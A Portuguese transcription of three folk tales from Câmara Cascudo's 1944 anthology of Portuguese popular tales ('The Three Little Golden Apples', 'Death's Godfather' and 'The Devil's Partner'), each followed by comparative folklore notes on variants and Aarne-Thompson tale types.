Fonte: Os Melhores Contos Populares de Portugal, coletânea com org. e notas de Câmara Cascudo. Dois Mundos Editora (1944).
AS TRÊS MAÇÃZINHAS DE OURO
Havia três irmãos; o mais novo tinha três ma çãzinhas de ouro, e os outros para vêr se lhas tiravam mataram-no e enterraram-no num monte Depois nasceu na sepultura uma cana. Certo dia passou por lá um pastor, que cortou um pedaço da cana para fazer uma frauta. O pastor começou a tocar, mas a gaita em vez de tocar, dizia:
Toca, toca, oh pastor, Os meus irmãos me mataram, Por três maçãzinhas de ouro, E ao cabo não as levaram.
O pastor quando ouviu isto, chamou um carvoeiro, e deu-lhe a frauta. O carvoeiro começou também a tocar, mas a frauta dizia:
Toca, toca, oh carvoeiro,
Os meus irmãos me mataram…
Assim foi a frauta andando, de indivíduo para indivíduo, até que chegou às mãos do pai e mãe do morto. A frauta dizia ainda:
Toca, toca, oh meu pai… Toca, toca, oh minha mãe, Os meus irmãos me mataram Por três maçãzinhas de ouro E ao cabo não as levaram.
Chamaram o pastor, que disse onde tinha cortado a cana. Foram lá e encontraram o cadáver com as três maçãzinhas de ouro.
Versão colhida pelo prof. dr. José Leite de Vasconcelos em Rebordaínhos, Bragança, havendo as de Teófilo Braga, 1, 54, e XL de Adolfo Coelho.
Na Espanha há uma variante de Sevilha, La Flor de LAlitá, e outra de Torrijo de Cañada, Aragão, Las tres bolitas de oro, 1, p. 196 da Biblioteca de las Tradiciones Populares Españolas, 152.° do Cuentos Populares Españoles, II, p. 320. Conhecido na América Latina sob várias denominações. Uma variante foi registada por d. Carmen Lyra, em Costa Rica, La Flor dei Olivar, p. 28 do Los Cuentos de mi tia Panchita, onde ocorre a cantiga: No me toques, pastorcito, — ni me dejes de tocar; — que mis hermanos me mataron — por la Flor dei Olivar. Nina Rodrigues, p. 289 do Os Africanos no Brasil, traduz um conto de A. Ellis, do The Yoruba Spealting Peoples of Slave Cost, of West Africa, Londres, 1894; dois irmãos viajam levando cada um mil cawries. Na floresta, o mais velho assassinou o mais novo, roubou-o, sepultando o cadáver. Nasceu, da sepultura, um olú, cogumelo comestível, que foi colhido pela mãe do morto. O olú, cantando, narrou sua tragédia, repetindo-a ao pai e ao obá, rei. Mataram o irmão mais velho e o rapaz ressuscitou. Há dessa narrativa um resumo feito por Leo Frobenius. Paul Sébillot, no Contes des Provinces de France, Paris, 1920, transcreve um conto da região de Forez, Le roi et ses trois fils, XXII, com uma variante. O príncipe, morto por seu irmão invejoso, é sepultado num campo. Anos depois uma pastora encontra um osso e faz uma flauta, que diz: Souffle doucement, bergère, — Souffle, souffle doucem.ent, — Le couteau de la ceinture — M’a tué cruellement. E assim soa ao sopro do rei e de um outro irmão inocente, denunciando por Le couteau de la ceinture, quem o matara. Ovidio, Métamorphoses, liv. XI, IV, tradução francesa de Cabaret-Dupaty, Midae Phoebus aures asininas tribuit, evoca a lenda de Midas que teve as orelhas de forma asinina por havei’ discordado de Tmolo que declarara Apolo vencedor numa competição com as flautas de Pan. Midas só confiou o segredo ao seu cabeleireiro, ocultando as orelhas numa tiara escarlate. O cabeleireiro, não podendo guardar a notícia, contou-a à terra, abrindo um buraco e nele murmurando a história. Nesse lugar nasceram canas e, passando o vento, as canas divulgavam o mistério de Midas, leni nom motus ab austro — Obruta verba refert, dominique coarguit aures.
É o Mt. 780 do Aarne-Thompson, The Sin-ging Bonés. A natureza denuncia o criminoso por um instrumento musical, feito com os ossos da vítima ou da madeira que nasceu no túmulo, O prof. Stith Thompson indica bibliografia na espécie: Solymossy, Mese a jávorfárol, na revista Ethnographie, XXXI, 1920, 1-26, Mackensen, Ber singende Knochen no volume XLIX do Folk-Lore Communications, o conto 28 dos irmãos Grimm, uma versão da Sicília, de Laura Gon zenbach, Sicilianische Marchen, n.° 51, uma da Rússia, n.o 17, V e 25 do tomo VI de A. N. Afanasiev, Narodnyja Russkija Skazki, Moscow, 1860-63, J. Boite e G. Polivka, Anmerkungen zu den Kinder-und-Hausmarchen der Bruder Grimm, Leipzig, 1913-1930, I, 260, corrente na Finlândia, Flandres, Estônia, etc.
Uma superstição portuguesa mantém no populário a tradição da natureza confidente. O sr. Jaime Lopes Dias, Etnografia da Beira, III, p. 159, Lisboa, 1929, registou-a procedente do Teixoso: Para que uma pessoa que tem motivo de grande ansiedade, desgosto ou aflição, veja melhorar o seu estado, basta que vá junto de uma parede e de costas para ela, sem que ninguém veja, tire uma pedra, desabafe e lhe conte as suas agruras e desgostos, coloque a pedra no buraco de onde a tirou, sempre de costas para a parede, e regresse a casa. As melhoras não se farão esperar. (Cascudo)
O COMPADRE DA MORTE
UM lavrador pobre tinha tantos filhos que não sabia a quem convidar para padrinho dos recém-nascidos. Quási todos na aldeia eram com padres dele. Nascendo-lhe mais um filho, fico atrapalhado para saber quem levasse a criança ao batismo. Estava pensando no caso quando passou por êle um homem muito alto, magro, vestido de branco, que parou e o cumprimentou amavelmente. O lavrador perguntou se êle aceitava ser o padrinho do seu filho mais moço.
— Sabes quem sou eu?
— Naô senhor! Mas me parece ser homem honrado e bom!
— Sou a Morte e aceito ser teu compadre. Acompanhou o lavrador à igreja, ficando seu
compadre. Quando voltaram a casa, a Morte disse:
— Escute lá. Não tenho dinheiro nem fazenda para o meu afilhado, mas posso fazer o meu compadre tornar-se um homem rico.
— Como será isso, meu compadre?
— Preste atenção! Diga a todos que é medico e vá atender aos doentes. Quando lá chegar me verá. Se eu estiver no lado da cabeça do enfermo, dê o que quiser e êle curar-se-á, mas se eu estiver aos pés da cama, o homem’está perdido.
— Pois é caso entendido, meu compadre.
Começou o lavrador, que era desempenado e afoito, a dizer-se curandeiro e visitar doentes por toda a visinhança. Quando via a Morte perto da cabeceira do doente, punha-o sadio em poucos dias. Quando via a Morte aos pés do enfermo, receitava umas águas simples, cobrava o dinheiro e se ia embora, desenganando a todos.
Ganhou fama e proveitos crescidos, ficando rico e conhecido em toda a parte.
Já muito velho, o curandeiro foi chamado por um homem muito poderoso e rico. Apesar de relutar, dizendo-se cansado e não mais podendo aceitar consultas, foi obrigado a pôr-se numa carruagem e ir. Lá chegando, logo que olhou para o quarto do ricaço, avistou o compadre Morte, bem sentado aos pés da cama. A família do enfermo prometia os castelos de Espanha se o chefe recobrasse a saúde. O curandeiro imaginou um plano de burlar o pacto com a Morte e ganhar mais aquela fortuna. Mandou voltar o leito, de maneira a ficar os pés onde estava a cabeça e esta onde estavam os pés. A Morte, assim que voltearam a cama, foi-se embora, sem dizer uma só palavra.
O curandeiro recebeu uma gorda quantia e voltou para casa satisfeito.
Anos depois, a Morte veio visitá-lo e lhe disse: — Meu compadre, de hoje a um ano virei buscá-lo porque deve ter chegado o dia de sua viagem…
O Curandeiro ficou espavorido com o anúncio. Para enganar a Morte mais uma vez, quando se aproximou o dia fatal, pintou os cabelos de preto, pôs umas barbas retintas, convidou uns amigos e começou a beber e a rir, como se fosse outra pessoa.
Chegou a Morte e, não o vendo, perguntou pelo seu compadre. Todos os convidados responderam que o dono da casa não estava e nem sabiam quando êle voltaria.
— Ora, ora — monologou a Morte, desaponta da — como não posso perder meu tempo nem a mi nha viagem, vou levar esse barbadão bebedor…
E levou com ela o seu compadre.
É conto muito popular em vários folclores europeus. Sua origem não portuguesa denuncia-se pela Morte aparecer no masculino. O mesmo ocorre na versão da Baixa Bretanha, recolhida por F. M. Luzel, L’Hommem Juste, onde a Morte é masculina, ann Anhou em bretão, obrigando o tradutor francês a escrever Trepas em vez de Mort, Legendes Chrétiennes de la Basse-Bretagne, Paris, 1881. Há o mesmo processo de burlar a Morte. No Brasil, Gustavo Barroso registou uma variante do Ceará, A lenda da Morte, onde esta, libertada de uma armadilha, o mondéu, prometeu 120 anos de vida robusta a um sertanejo que, pelando-se todo, para fugir ao pagamento da cláusula, foi carregado por ela, dizendo: levo em, lugar dele este pecado dançador! p. 708, Ao som da Viola, Rio de Janeiro, 1921. Mt. 332 de Aarne-Thompson, Oodfather Death. Registado em Bolte e Po-livka, 1, 377 dos estudos sobre os contos dos irmãos Grimm, onde figura sob o n.° 44, R. T. Christiansen, Danske Studier, 71, na coleção dos contos da Sicília de Laura Gonzebach, n.° 19, nos russos de Afanasiev, n.° 9, do 1.°, conhecido na literatura oral da Estônia, Filândia, Lapônia, Dinamarca, Noruega, Flandres, etc. apud, Stith Thompson, Antti Aarne, The Types of the Folk-Tale, p. 5’9- 60. (Cascudo)
O SÓCIO DO DIABO
DIZ que era uma vez um lavrador muito pobre que não conseguia medrar no seu trabalho. Tanto mais se esforçava menos rendia a tarefa ao pobre homem. Vai um dia, desesperado, gritou:
— Apareça quem me ajude mesmo que -seja o próprio Diabo!
— Aqui estou eu! respondeu o Demo.
Ajustaram logo o contrato. O lavrador ganhou um belo terreno e o Diabo lhe disse:
— Plante o que quiser que bem dará. Nascendo em baixo é meu e saindo em cima é seu…
O homem plantou milho, trigo e centeio que nasceram como um louvar a Deus. Quando a plantação estava no pé de ser ceifada, veio o Diabo cobrar a parte.
— Pode levar o que é seu…
Foi ver o Diabo o que era dele e só encontrou raízes sem valor. Ficou furioso e desmanchou o pacto, propondo outro: ‘
— Vamos às avessas. O que sair por cima é meu e sendo de-baixo é seu.
O homem aceitou. Vendeu o milho, o trigo e o centeio por bom dinheiro e plantou batatas, cenouras e nabos que era um nunca acabar. No tempo da eelheita voltou o diabo pela sua parte.
— Leve o que está por cima que é o trato… O Diabo desta vez ficou desesperado com o logro. Desmanchou o negócio e propôs outro:
— Faço-o rico como um conde e, no fim de vinte anos, ganho su’alma. Está feito?
— Está feito, com uma condição; escrevemos tudo num papel que fica no meu poder e lhe darei ao fim dos vinte anos. Se passar um minuto depois da meia noite e você não tiver o contrato na mão, estarei livre.
— Só aceito se o papel ficar na minha mão no fim do prazo!
— Está feito o negócio….
Ficou o homem rico da noite para o dia, tratando-se do bom e do melhor, fazendo caridades. No fim dos vinte anos, dia por dia, foi falar com o vigário da paróquia e lhe pediu uma escudela cheia de água benta. Dentro da escudela meteu o papel e esperou o Diabo.
Quando este chegou, o homem foi dizendo:
— O papel está ali, dentro daquela escudela, bem à vista. É só tirar.
O Diabo meteu a mão para agarrar o papel e largou um uivo como se tivesse metido a pata nas brasas. Foi outra vez e gritou com a dor. Por mais que procurasse retirar o contrato a água benta não deixava. Depois de muito esforço, o relógio bateu doze pancadas. O homem, então, benzeu-se:
— Vai-te para as areias gordas, que eu de ti estou livre!
O Diabo estourou como um petardo e foi para o Inferno. O homem continuou rico e feliz, morrendo quando Deus o permitiu.
Há uma variante da Ilha de São Miguel, Açores, O compadre Diabo, que Teófilo Braga publicou, com extensa bibliografia. Gubernatis dá um conto russo, com o urso demoníaco e o camponês ladino, variante norueguesa em Asbjornsen, uma alemã dos irmãos Grimm, no Conde Lucanor de dom João Manuel, De lo que contescio al Bien y al Mal, cap. 41, nos contos populares dos Highlanders, de Campbell, nos da Grã Bretanha, de Brueyre, Rabelais, Pantagruel, livro IV, caps. 45 e 46, contos do Agenais, de Bladé, onde a burla se passa entre a Cabra e o Lobo, a fabula Le Diable et Pape-figuiere de La Fontaine.
É o Mt. 1030 de Aarne-Thompson, The Crop Division. O elemento característico, K177.1, Deceptive crop division: above the ground, below the ground, foi fixado pelo prof. Stith Thompson, indicando sua expansão popular; Bolte-Polivka, (Anmerkungen zu den Kinder-und-Hausmarchen der Bruder Grimm, Leipzig, 1913-18), III, 355-63, J. Hackman, Sagan om Skordelningen no Folk-loristika och Etnografiska studier, III, 140, A. Wunsche, Der Sagenkreis vom geprellten Teufel, Leipzig-e-Viena, 1905, 70, Taylor num estudo na Publications of the Modern Language Association of America, XXXVI, R. Kohler, Kleinere Schriften, (edição Johannes Bolte), Weimar, 1898-1900, 1, 69, L. Mackensen e outros, Handworterbuch des deutschen Marchens, Berlin, 1931, 1, 192a, 593b, Johannes Jagerlehner, Sagen und Märchen aus den Oberwallis, Basel, 1900,
324, Parson entre os negros americanos, Journal of American Folk-Lore, XXX, 175, Stith Thomp son entre os indígenas norte americanos, European Tales among the North American Indiana, Coll, II, Colorado Springs, 1919, 441, 447, etc, e o ensaio de Kaarle Krohn, Bar und Fuchs, no Journal de la Société Finno-Ougrienne, VI, 104, compendiando aventuras do urso com a raposa A segunda parte, onde o Demônio se decep ciona na impossibilidade de obter o pagamento contratual, é um dos processos de adaptação religiosa popular ao Ciclo do Demônio Logrado. (Cascudo)
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